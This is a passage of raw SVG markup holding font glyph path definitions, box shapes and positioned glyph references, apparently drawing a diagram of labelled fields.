-8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="B"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="C"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="D"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="F"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="G"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="H"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="I"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="J"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="K"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol><symbol overflow="visible" id="U"><path d="M 0 2.515625 L 6.015625 2.515625 L 6.015625 3.6875 L 0 3.6875 Z M 0 2.515625"/></symbol><symbol overflow="visible" id="V"><path d="M 5.875 -9 L 7.46875 -3.75 L 7.796875 -2.015625 L 7.828125 -2.015625 L 8.09375 -3.78125 L 9.328125 -9 L 10.546875 -9 L 8.15625 0.203125 L 7.421875 0.203125 L 5.59375 -5.703125 L 5.34375 -7.21875 L 5.3125 -7.21875 L 5.0625 -5.6875 L 3.296875 0.203125 L 2.5625 0.203125 L 0.09375 -9 L 1.46875 -9 L 2.859375 -3.765625 L 3.078125 -2.015625 L 3.109375 -2.015625 L 3.4375 -3.796875 L 4.90625 -9 Z M 5.875 -9"/></symbol><symbol overflow="visible" id="W"><path d="M 7.21875 0 L 1.15625 0 L 1.15625 -12.59375 L 2.5 -12.59375 L 2.5 -1.234375 L 7.21875 -1.234375 Z M 7.21875 0"/></symbol><symbol overflow="visible" id="X"><path d="M 1.6875 -1.203125 L 3.71875 -1.203125 L 3.71875 -9.96875 L 3.890625 -11.03125 L 3.28125 -10.171875 L 1.765625 -8.953125 L 1.078125 -9.75 L 4.359375 -12.8125 L 5.015625 -12.8125 L 5.015625 -1.203125 L 6.984375 -1.203125 L 6.984375 0 L 1.6875 0 Z M 1.6875 -1.203125"/></symbol><symbol overflow="visible" id="Y"><path d="M 5.671875 0 L 5.671875 -5.46875 C 5.671875 -6.3125 5.570312 -6.953125 5.375 -7.390625 C 5.175781 -7.828125 4.78125 -8.046875 4.1875 -8.046875 C 3.769531 -8.046875 3.390625 -7.894531 3.046875 -7.59375 C 2.703125 -7.289062 2.472656 -6.914062 2.359375 -6.46875 L 2.359375 0 L 1.0625 0 L 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.15625 L 2.40625 -8.15625 C 2.644531 -8.46875 2.941406 -8.722656 3.296875 -8.921875 C 3.648438 -9.117188 4.09375 -9.21875 4.625 -9.21875 C 5.019531 -9.21875 5.363281 -9.160156 5.65625 -9.046875 C 5.957031 -8.941406 6.203125 -8.753906 6.390625 -8.484375 C 6.578125 -8.222656 6.71875 -7.875 6.8125 -7.4375 C 6.914062 -7 6.96875 -6.457031 6.96875 -5.8125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.578125 -1.171875 L 3.921875 -7.0625 L 4.546875 -7.828125 L 0.578125 -7.828125 L 0.578125 -9 L 5.828125 -9 L 5.828125 -7.828125 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.828125 -1.171875 L 5.828125 0 L 0.578125 0 Z M 0.578125 -1.171875"/></symbol><symbol overflow="visible" id="aa"><path d="M 7.734375 -0.484375 C 7.441406 -0.234375 7.066406 -0.0546875 6.609375 0.046875 C 6.148438 0.160156 5.671875 0.21875 5.171875 0.21875 C 4.535156 0.21875 3.945312 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.800781 1.3125 -2.472656 1.09375 -3.296875 C 0.882812 -4.128906 0.78125 -5.128906 0.78125 -6.296875 C 0.78125 -7.492188 0.898438 -8.503906 1.140625 -9.328125 C 1.390625 -10.160156 1.71875 -10.832031 2.125 -11.34375 C 2.53125 -11.863281 3 -12.238281 3.53125 -12.46875 C 4.070312 -12.695312 4.625 -12.8125 5.1875 -12.8125 C 5.757812 -12.8125 6.234375 -12.769531 6.609375 -12.6875 C 6.992188 -12.601562 7.320312 -12.503906 7.59375 -12.390625 L 7.265625 -11.15625 C 7.023438 -11.289062 6.742188 -11.394531 6.421875 -11.46875 C 6.097656 -11.539062 5.726562 -11.578125 5.3125 -11.578125 C 4.894531 -11.578125 4.5 -11.484375 4.125 -11.296875 C 3.75 -11.109375 3.414062 -10.804688 3.125 -10.390625 C 2.84375 -9.984375 2.617188 -9.441406 2.453125 -8.765625 C 2.285156 -8.097656 2.203125 -7.273438 2.203125 -6.296875 C 2.203125 -4.546875 2.5 -3.226562 3.09375 -2.34375 C 3.695312 -1.46875 4.492188 -1.03125 5.484375 -1.03125 C 5.898438 -1.03125 6.269531 -1.085938 6.59375 -1.203125 C 6.914062 -1.316406 7.191406 -1.453125 7.421875 -1.609375 Z M 7.734375 -0.484375"/></symbol></defs><path fill="#fff" d="M0 0H722V514H0z"/><path d="M 24.2362 40.852794 L 60.101239 40.852794 L 60.101239 66.190294 L 24.2362 66.190294 Z M 24.2362 40.852794" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 62.446153 L 57.100262 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 26.643622 44.584239 C 26.477997 44.584239 26.343622 44.718419 26.343622 44.884239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 44.884239 C 57.400262 44.718419 57.266083 44.584239 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 44.884239 L 26.343622 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 62.146153 L 26.343622 62.146153 C 26.343622 62.311778 26.477997 62.446153 26.643622 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.100262 62.446153 L 57.100262 62.446153 C 57.266083 62.446153 57.400262 62.311778 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="146.359"/><use xlink:href="#b" x="93.102" y="146.359"/><use xlink:href="#b" x="102.008" y="146.359"/><use xlink:href="#c" x="110.914" y="146.359"/><use xlink:href="#d" x="116.773" y="146.359"/><use xlink:href="#e" x="125.328" y="146.359"/><use xlink:href="#f" x="132.32" y="146.359"/><use xlink:href="#g" x="136.422" y="146.359"/><use xlink:href="#h" x="141.285" y="146.359"/><use xlink:href="#i" x="145.777" y="146.359"/><use xlink:href="#d" x="154.762" y="146.359"/><use xlink:href="#f" x="163.316" y="146.359"/><use xlink:href="#j" x="167.418" y="146.359"/><path d="M 197.3125 118.835938 L 605.3125 118.835938 L 605.3125 158.835938 L 197.3125 158.835938 Z M 197.3125 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 124.835938 L 197.3125 118.835938 C 194 118.835938 191.3125 121.519531 191.3125 124.835938 Z M 197.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 124.835938 L 611.3125 124.835938 C 611.3125 121.519531 608.625 118.835938 605.3125 118.835938 Z M 605.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 124.835938 L 611.3125 124.835938 L 611.3125 152.835938 L 191.3125 152.835938 Z M 191.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 152.835938 L 191.3125 152.835938 C 191.3125 156.148438 194 158.835938 197.3125 158.835938 Z M 197.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 152.835938 L 605.3125 158.835938 C 608.625 158.835938 611.3125 156.148438 611.3125 152.835938 Z M 605.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 46.460997 L 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 48.460997 L 54.451825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 46.460997 L 34.051825 46.460997 C 33.8862 46.460997 33.751825 46.595177 33.751825 46.760997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 46.760997 C 54.751825 46.595177 54.61745 46.460997 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 46.760997 L 33.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 48.160997 L 33.751825 48.160997 C 33.751825 48.326622 33.8862 48.460997 34.051825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 48.460997 L 54.451825 48.460997 C 54.61745 48.460997 54.751825 48.326622 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.3125 161.433594 L 432.511719 161.433594 L 432.511719 184.832031 L 191.3125 184.832031 Z M 191.3125 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#k" x="191.313" y="179.836"/><use xlink:href="#l" x="199.008" y="179.836"/><use xlink:href="#m" x="203.949" y="179.836"/><use xlink:href="#n" x="208.891" y="179.836"/><use xlink:href="#n" x="216.215" y="179.836"/><use xlink:href="#l" x="223.656" y="179.836"/><use xlink:href="#o" x="228.598" y="179.836"/><use xlink:href="#p" x="232.406" y="179.836"/><use xlink:href="#q" x="239.613" y="179.836"/><use xlink:href="#q" x="247.406" y="179.836"/><use xlink:href="#m" x="255.199" y="179.836"/><use xlink:href="#n" x="260.141" y="179.836"/><use xlink:href="#r" x="267.582" y="179.836"/><use xlink:href="#r" x="273.656" y="179.836"/><use xlink:href="#s" x="279.73" y="179.836"/><use xlink:href="#o" x="281.898" y="179.836"/><use xlink:href="#t" x="285.707" y="179.836"/><use xlink:href="#u" x="291.957" y="179.836"/><use xlink:href="#v" x="295.16" y="179.836"/><use xlink:href="#u" x="304.633" y="179.836"/><use xlink:href="#o" x="306.664" y="179.836"/><use xlink:href="#w" x="310.473" y="179.836"/><use xlink:href="#x" x="318.285" y="179.836"/><use xlink:href="#y" x="325.746" y="179.836"/><use xlink:href="#s" x="333.168" y="179.836"/><use xlink:href="#o" x="335.336" y="179.836"/><use xlink:href="#z" x="339.145" y="179.836"/><use xlink:href="#x" x="345.258" y="179.836"/><use xlink:href="#A" x="353.031" y="179.836"/><use xlink:href="#B" x="364.75" y="179.836"/><use xlink:href="#p" x="372.582" y="179.836"/><use xlink:href="#C" x="379.789" y="179.836"/><use xlink:href="#D" x="387.699" y="179.836"/><use xlink:href="#o" x="393.988" y="179.836"/><use xlink:href="#C" x="397.797" y="179.836"/><use xlink:href="#p" x="405.707" y="179.836"/><use xlink:href="#A" x="412.914" y="179.836"/><use xlink:href="#n" x="424.633" y="179.836"/></g><path d="M 48.157489 51.129552 L 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.694989 51.12545 C 44.695184 51.00045 44.82038 50.875645 44.94538 50.875645 C 45.07038 50.875841 45.195184 51.001036 45.194989 51.126036 C 45.194794 51.251036 45.069794 51.375841 44.944794 51.375645 C 44.819794 51.375645 44.694794 51.25045 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="227.695"/><use xlink:href="#b" x="93.102" y="227.695"/><use xlink:href="#b" x="102.008" y="227.695"/><use xlink:href="#c" x="110.914" y="227.695"/><use xlink:href="#d" x="116.773" y="227.695"/><use xlink:href="#e" x="125.328" y="227.695"/><use xlink:href="#f" x="132.32" y="227.695"/><use xlink:href="#g" x="136.422" y="227.695"/><use xlink:href="#h" x="141.285" y="227.695"/><use xlink:href="#i" x="145.777" y="227.695"/><use xlink:href="#d" x="154.762" y="227.695"/><use xlink:href="#f" x="163.316" y="227.695"/><use xlink:href="#E" x="167.418" y="227.695"/><path d="M 197.3125 200.167969 L 605.3125 200.167969 L 605.3125 240.167969 L 197.3125 240.167969 Z M 197.3125 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 206.167969 L 197.3125 200.167969 C 194 200.167969 191.3125 202.855469 191.3125 206.167969 Z M 197.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 206.167969 L 611.3125 206.167969 C 611.3125 202.855469 608.625 200.167969 605.3125 200.167969 Z M 605.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 206.167969 L 611.3125 206.167969 L 611.3125 234.167969 L 191.3125 234.167969 Z M 191.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 234.167969 L 191.3125 234.167969 C 191.3125 237.480469 194 240.167969 197.3125 240.167969 Z M 197.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 234.167969 L 605.3125 240.167969 C 608.625 240.167969 611.3125 237.480469 611.3125 234.167969 Z M 605.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 50.527598 L 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 52.527598 L 54.451825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 50.527598 L 34.051825 50.527598 C 33.8862 50.527598 33.751825 50.661973 33.751825 50.827598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 50.827598 C 54.751825 50.661973 54.61745 50.527598 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 50.827598 L 33.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 52.227598 L 33.751825 52.227598 C 33.751825 52.393223 33.8862 52.527598 34.051825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 52.527598 L 54.451825 52.527598 C 54.61745 52.527598 54.751825 52.393223 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.8125 242.433594 L 415.710938 242.433594 L 415.710938 265.832031 L 190.8125 265.832031 Z M 190.8125 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#F" x="190.813" y="260.836"/><use xlink:href="#B" x="199.328" y="260.836"/><use xlink:href="#p" x="207.16" y="260.836"/><use xlink:href="#m" x="214.367" y="260.836"/><use xlink:href="#l" x="219.738" y="260.836"/><use xlink:href="#A" x="224.68" y="260.836"/><use xlink:href="#n" x="236.398" y="260.836"/><use xlink:href="#C" x="243.84" y="260.836"/><use xlink:href="#l" x="251.75" y="260.836"/><use xlink:href="#s" x="256.691" y="260.836"/><use xlink:href="#o" x="258.859" y="260.836"/><use xlink:href="#r" x="262.668" y="260.836"/><use xlink:href="#G" x="268.742" y="260.836"/><use xlink:href="#H" x="276.555" y="260.836"/><use xlink:href="#l" x="280.461" y="260.836"/><use xlink:href="#n" x="285.285" y="260.836"/><use xlink:href="#s" x="292.727" y="260.836"/><use xlink:href="#o" x="294.895" y="260.836"/><use xlink:href="#G" x="298.703" y="260.836"/><use xlink:href="#C" x="306.516" y="260.836"/><use xlink:href="#H" x="314.426" y="260.836"/><use xlink:href="#l" x="318.332" y="260.836"/><use xlink:href="#s" x="323.273" y="260.836"/><use xlink:href="#o" x="325.441" y="260.836"/><use xlink:href="#w" x="329.25" y="260.836"/><use xlink:href="#G" x="337.063" y="260.836"/><use xlink:href="#H" x="344.875" y="260.836"/><use xlink:href="#I" x="348.781" y="260.836"/><use xlink:href="#q" x="352.98" y="260.836"/><use xlink:href="#H" x="360.773" y="260.836"/><use xlink:href="#C" x="364.68" y="260.836"/><use xlink:href="#J" x="372.59" y="260.836"/><use xlink:href="#s" x="380.363" y="260.836"/><use xlink:href="#o" x="382.531" y="260.836"/><use xlink:href="#K" x="386.34" y="260.836"/><use xlink:href="#x" x="394.777" y="260.836"/><use xlink:href="#x" x="402.551" y="260.836"/><use xlink:href="#m" x="410.324" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#L" x="149.242" y="311.195"/><use xlink:href="#h" x="158.383" y="311.195"/><use xlink:href="#M" x="162.875" y="311.195"/><use xlink:href="#N" x="168.305" y="311.195"/><path d="M 197.3125 283.667969 L 385.3125 283.667969 L 385.3125 323.667969 L 197.3125 323.667969 Z M 197.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 289.667969 L 197.3125 283.667969 C 194 283.667969 191.3125 286.355469 191.3125 289.667969 Z M 197.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 289.667969 L 391.3125 289.667969 C 391.3125 286.355469 388.625 283.667969 385.3125 283.667969 Z M 385.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 289.667969 L 391.3125 289.667969 L 391.3125 317.667969 L 191.3125 317.667969 Z M 191.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 317.667969 L 191.3125 317.667969 C 191.3125 320.980469 194 323.667969 197.3125 323.667969 Z M 197.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 317.667969 L 385.3125 323.667969 C 388.625 323.667969 391.3125 320.980469 391.3125 317.667969 Z M 385.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 54.702598 L 43.451825 54.702598" transform="matrix(20 0 0 20 